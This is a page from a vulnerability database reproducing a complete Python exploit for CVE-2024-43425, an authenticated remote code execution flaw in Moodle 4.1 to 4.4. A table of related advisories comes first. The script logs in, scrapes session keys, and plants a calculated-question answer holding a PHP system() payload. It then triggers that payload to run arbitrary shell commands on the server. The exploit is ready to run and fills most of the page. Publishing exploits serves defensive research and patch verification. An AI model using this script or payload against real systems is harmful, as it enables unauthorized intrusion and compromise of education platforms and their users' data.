| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
| Exploit for Code Injection in Moodle | 13 Oct 202502:32 | – | githubexploit | |
| Exploit for Code Injection in Moodle | 13 Jul 202504:52 | – | githubexploit | |
| Exploit for Code Injection in Moodle | 7 Feb 202519:48 | – | githubexploit | |
| Exploit for Code Injection in Moodle | 28 Jun 202508:49 | – | githubexploit | |
| CVE-2024-43425 | 28 Aug 202409:02 | – | circl | |
| Moodle 安全漏洞 | 7 Nov 202400:00 | – | cnnvd | |
| CVE-2024-43425 | 7 Nov 202413:21 | – | cve | |
| CVE-2024-43425 Moodle: remote code execution via calculated question types | 7 Nov 202413:21 | – | cvelist | |
| Moodle Remote Code Execution vulnerability | 7 Nov 202415:31 | – | github | |
| Moodle Remote Code Execution (CVE-2024-43425) | 6 Dec 202418:58 | – | metasploit |
# Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://moodle.org
# Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0
# Tested Version: Moodle 4.4.0
# Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11
# Tested On: Ubuntu 22.04, Apache2, PHP 8.2
# CVE: CVE-2024-43425
# References:
# - https://github.com/aninfosec/CVE-2024-43425-Poc
# - https://nvd.nist.gov/vuln/detail/CVE-2024-43425
import argparse
import requests
import re
import sys
import subprocess
from bs4 import BeautifulSoup
import urllib.parse
requests.packages.urllib3.disable_warnings()
def get_login_token(session, login_url):
print("[*] Step 1: GET /login/index.php to extract login token")
try:
response = session.get(login_url, verify=False)
if response.status_code != 200:
print(f"[-] Unexpected status code {response.status_code} when accessing login page")
sys.exit(1)
except Exception as e:
print(f"[-] Error connecting to {login_url}: {e}")
sys.exit(1)
soup = BeautifulSoup(response.text, "html.parser")
token_input = soup.find("input", {"name": "logintoken"})
if not token_input or not token_input.get("value"):
print("[-] Failed to extract login token from HTML")
sys.exit(1)
token = token_input["value"]
print(f"[+] Found login token: {token}")
return token
def perform_login(session, login_url, username, password, token):
print("[*] Step 2: POST /login/index.php with credentials")
login_payload = {
"anchor": "",
"logintoken": token,
"username": username,
"password": password,
}
try:
response = session.post(
login_url,
data=login_payload,
headers={"Content-Type": "application/x-www-form-urlencoded"},
verify=False,
)
if response.status_code not in [200, 303]:
print(f"[-] Unexpected response code during login: {response.status_code}")
sys.exit(1)
except Exception as e:
print(f"[-] Login POST failed: {e}")
sys.exit(1)
if "MoodleSession" not in session.cookies.get_dict():
print("[-] Login may have failed: MoodleSession cookie missing")
sys.exit(1)
print("[+] Logged in successfully.")
def get_quiz_info(session, base_url, cmid):
print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...")
quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}"
try:
resp = session.get(quiz_edit_url, verify=False)
if resp.status_code != 200:
print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}")
sys.exit(1)
# Extract sesskey
sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', resp.text)
# Extract courseContextId
ctxid_match = re.search(r'"courseContextId":(\d+)', resp.text)
# Extract category
category_match = re.search(r';category=(\d+)', resp.text)
if not (sesskey_match and ctxid_match and category_match):
print("[-] Could not extract sesskey, courseContextId, or category")
print(resp.text[:1000])
sys.exit(1)
sesskey = sesskey_match.group(1)
ctxid = ctxid_match.group(1)
category = category_match.group(1)
print(f"[+] Found sesskey: {sesskey}")
print(f"[+] Found courseContextId: {ctxid}")
print(f"[+] Found category: {category}")
return sesskey, ctxid, category
except Exception as e:
print(f"[-] Exception while extracting quiz info: {e}")
sys.exit(1)
def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid):
print("[*] Step 3: Uploading calculated question with payload...")
url = f"{base_url}/question/bank/editquestion/question.php"
payload = "(1)->{system($_GET[chr(97)])}"
post_data = {
"initialcategory": 1,
"reload": 1,
"shuffleanswers": 1,
"answernumbering": "abc",
"mform_isexpanded_id_answerhdr": 1,
"noanswers": 1,
"nounits": 1,
"numhints": 2,
"synchronize": "",
"wizard": "datasetdefinitions",
"id": "",
"inpopup": 0,
"cmid": cmid,
"courseid": courseid,
"returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
"mdlscrollto": 0,
"appendqnumstring": "addquestion",
"qtype": "calculated",
"makecopy": 0,
"sesskey": sesskey,
"_qf__qtype_calculated_edit_form": 1,
"mform_isexpanded_id_generalheader": 1,
"category": f"{category},{ctxid}",
"name": "exploit",
"questiontext[text]": "<p>test</p>",
"questiontext[format]": 1,
"questiontext[itemid]": 623548580,
"status": "ready",
"defaultmark": 1,
"generalfeedback[text]": "",
"generalfeedback[format]": 1,
"generalfeedback[itemid]": 21978947,
"answer[0]": payload,
"fraction[0]": 1.0,
"tolerance[0]": 0.01,
"tolerancetype[0]": 1,
"correctanswerlength[0]": 2,
"correctanswerformat[0]": 1,
"feedback[0][text]": "",
"feedback[0][format]": 1,
"feedback[0][itemid]": 281384971,
"unitrole": 3,
"penalty": 0.3333333,
"hint[0][text]": "",
"hint[0][format]": 1,
"hint[0][itemid]": 812786292,
"hint[1][text]": "",
"hint[1][format]": 1,
"hint[1][itemid]": 795720000,
"tags": "_qf__force_multiselect_submission",
"submitbutton": "Save changes"
}
try:
res = session.post(url, data=post_data, verify=False, allow_redirects=False)
if res.status_code in [302, 303] and "Location" in res.headers and "&id=" in res.headers["Location"]:
print("[+] Question upload request sent. Extracting question ID from redirect.")
qid = re.search(r"&id=(\d+)", res.headers["Location"])
if not qid:
print("[-] Could not extract question ID from redirect.")
sys.exit(1)
return qid.group(1)
else:
print(f"[-] Upload failed. Status code: {res.status_code}")
sys.exit(1)
except Exception as e:
print(f"[-] Upload exception: {e}")
sys.exit(1)
def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid):
print("[*] Step 4: Completing dataset wizard with dataset[0]=0")
wizard_url = f"{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions"
data_payload = {
"id": question_id,
"inpopup": 0,
"cmid": cmid,
"courseid": courseid,
"returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
"mdlscrollto": 0,
"appendqnumstring": "addquestion",
"category": f"{category},{ctxid}",
"wizard": "datasetitems",
"sesskey": sesskey,
"_qf__question_dataset_dependent_definitions_form": 1,
"dataset[0]": 0,
"synchronize": 0,
"submitbutton": "Next page"
}
try:
res = session.post(wizard_url, data=data_payload, verify=False)
if res.status_code == 200:
print("[+] Dataset wizard POST submitted.")
return False
elif "Exception - system(): Argument #1 ($command) cannot be empty" in res.text:
print("[+] Reached expected error page. Payload is being interpreted.")
return True
else:
print(f"[-] Dataset wizard POST failed with status: {res.status_code}")
return False
except Exception as e:
print(f"[-] Exception during dataset wizard step: {e}")
return False
def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd):
print("[*] Step 5: Triggering command: {cmd}")
encoded = urllib.parse.quote(cmd)
trigger_url = (
f"{base_url}/question/bank/editquestion/question.php?id={question_id}"
f"&category={category}&cmid={cmid}&courseid={courseid}"
f"&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0"
f"&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}"
)
try:
resp = session.get(trigger_url, verify=False)
print("[+] Trigger request sent. Output below:\n")
lines = resp.text.splitlines()
output_lines = []
for line in lines:
if "<html" in line.lower():
break
if line.strip():
output_lines.append(line.strip())
print("[+] Command output (top lines):")
print("\n".join(output_lines[:2]) if output_lines else "[!] No output detected.")
except Exception as e:
print(f"[-] Error triggering command: {e}")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="Moodle CVE-2024-43425 Exploit")
parser.add_argument("--url", required=True, help="Target Moodle base URL")
parser.add_argument("--username", required=True, help="Moodle username")
parser.add_argument("--password", required=True, help="Moodle password")
parser.add_argument("--courseid", required=True, help="Course ID")
parser.add_argument("--cmid", required=True, help="Course Module ID (Quiz)")
parser.add_argument("--cmd", required=True, help="Command to execute remotely (e.g., 'whoami' or 'cat /flag')")
args = parser.parse_args()
session = requests.Session()
login_url = f"{args.url.rstrip('/')}/login/index.php"
token = get_login_token(session, login_url)
perform_login(session, login_url, args.username, args.password, token)
sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip('/'), args.cmid)
question_id = upload_calculated_question(session, args.url.rstrip('/'), sesskey, args.cmid, args.courseid, category, ctxid)
if not post_dataset_wizard(session, args.url.rstrip('/'), question_id, sesskey, args.cmid, args.courseid, category, ctxid):
sys.exit(1)
trigger_rce(session, args.url.rstrip('/'), question_id, category, args.cmid, args.courseid, args.cmd)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation